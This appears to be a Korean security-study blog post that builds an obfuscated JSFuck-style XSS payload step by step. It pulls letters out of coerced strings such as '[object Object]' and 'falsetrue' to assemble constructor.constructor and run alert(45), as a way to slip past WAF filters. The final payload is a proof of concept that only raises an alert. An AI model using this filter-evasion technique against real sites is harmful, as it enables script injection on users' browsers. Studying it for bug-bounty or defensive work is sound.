버그바운티 공부를 위해 하훌(@hahwul)님의 글을 읽던 중 매우 재밌어 보이는 코드를 발견해서 공부해봤습니다.
https://www.hahwul.com/2018/11/20/waf-bypass-xss-payload-only-hangul/
요약하면 JSFuck을 사용해서 alert()구문을 만들어 내는 거고 이 과정에서 한글 문자들에 저장 각 영문을 저장해서 실행 가능한 코드를 만드는 겁니다.
https://github.com/aemkei/katakana.js/blob/master/annotated.js
하훌님은 이쪽의 가타카나로 만드는 걸 보시고 만드셨다네요
각 문자를 추출하는 부분을 배우기 좋은 것 같습니다. 저는 공부하면서 'c'를 추출하기 힘들었는데 이 깃허브 보고 이해했습니다.
constructor.constructor(alert())로 코드를 실행시킬 수 있는 원리는
https://www.hahwul.com/2017/07/12/web-hacking-angularjs-sandboxdom-based/
이걸 보면 이해할 수 있습니다.
정말 대단한 분 같습니다. ㄷㄷ
constructor.constructor(alert('a'))
의 형태로 JSFuck으로 구성해줍시다. 이때 만들어야할 문자는 a c e l n o r s t u 가 있겠네요
크롬 개발자도구(f12)에서 테스트 했습니다.
[] + {}
"[object Object]"
[a,b,c,d,e,f,g]=[] + {}
"[object Object]"
"[object Object]"의 각 문자를 a b c d e f라는 변수에 순서대로 저장합니다.(문자열을 배열로)
이때 필요한 문자는 o와 c 즉 2번째와 6번째 문자입니다. 나머지 문자들은 굳이 저장할 필요없으므로
생략해서 길이를 줄여줍시다.
[,a,,,,b]=[] + {}
이제 a변수에는 'o'가 b변수에는 'c'가 들어있습니다.
[!a]
=false
[!!a]
=true
[!a]+[!!a]
"falsetrue"
a.a
undefined
[!a]+[!!a]+a.a
"falsetrueundefined"
이제 constructor를 구성할 문자를 전부 뽑았네요 각 문자를 변수에 저장해 줍시다.
c 1 o 2 n 3 s 4 t 4 r 5 u 6
a b c d e f g
이런식으로 저장하면 각문자순으로 변수를 불러오면 constru 문자를 만들수 있을 겁니다.
[,b,,,,a]=[] + {},[,,,d,,e,f,g,,,c]=[!a]+[!!a]+a.a
를 입력해 저장
a+b+c+d+e+f+g
"constru"
정상적으로 불러와집니다.
a+b+c+d+e+f+g+a+e+b+f
"constructor"
얘를 두번쓰기때문에 따로 저장해줍시다.
h정도에 넣어줍시다.
h.h(alert(a))로 실행되는걸 확인
(alert("a"))(alert("b"))를 입력하면
a b 순으로 alert()가 동작하는 걸 기억합시다.
(여기서 각문자변수에 문자저장)(constructor.constructor(alert(문자)))로 동작시킵시다.
([,b,,,,a]=[] + {},[,,,d,,e,f,g,,,c]=[!a]+[!!a]+a.a,h=a+b+c+d+e+f+g+a+e+b+f)(h.h(alert(a)))
해주면 alert가 정상동작하는것을 확인할 수 있습니다.
이제 alert만 바꿔줍시다.
c 1 o 2 n 3 s 4 t 4 r 5 u 6
a b c d e f g
위에 써둔걸 이용하면 현재 r,t는 있으므로 a,l,e 만 있으면 됩니다.
c 1 o 2 n 3 s 4 t 4 r 5 u 6 a 7 l 8 e
a b c d e f g i j k
로 저장해 줍시다. 코드를 수정해줍니다.
([,b,,,,a]=[] + {},[,i,j,d,k,e,f,g,,,c]=[!a]+[!!a]+a.a,h=a+b+c+d+e+f+g+a+e+b+f)[h][h](i+j+k+f+e+'(45)')()
이제 콘솔에서 실행시켜보면 정상작동하네요
최종코드는 ["constructor"]["constructor"](alert(45))() 를 나타냅니다.
사실 ["constructor"](alert(45))도 콘솔에선 정상동작하는데 이렇게 JSFuck을 구성하면 돌아가질 않네요
나중에 차분히 연구해봐야겠습니다.
이만 총총
============================================================================
최종 JSFuck 스크립트:
([,b,,,,a]=[] + {},[,i,j,d,k,e,f,g,,,c]=[!a]+[!!a]+a.a,h=a+b+c+d+e+f+g+a+e+b+f)[h][h](i+j+k+f+e+'(45)')()
'해킹 > Web' 카테고리의 다른 글
[WebHacking | MAC] Burp Suite for Mac 기본 설정 (HTTPS 동작 오류, 프록시) (0) | 2022.09.29 |
---|---|
[Web Hacking] 용어 정리 (0) | 2020.12.27 |
XSS 필터링 우회 기초 정리(dreamhack 공부 내용) (1) | 2020.11.08 |
버그바운티 레퍼런스 정리 (0) | 2020.08.06 |
DB별 함수 모음(SQLi 대비용, 계속 업데이트 할 예정) (0) | 2020.08.06 |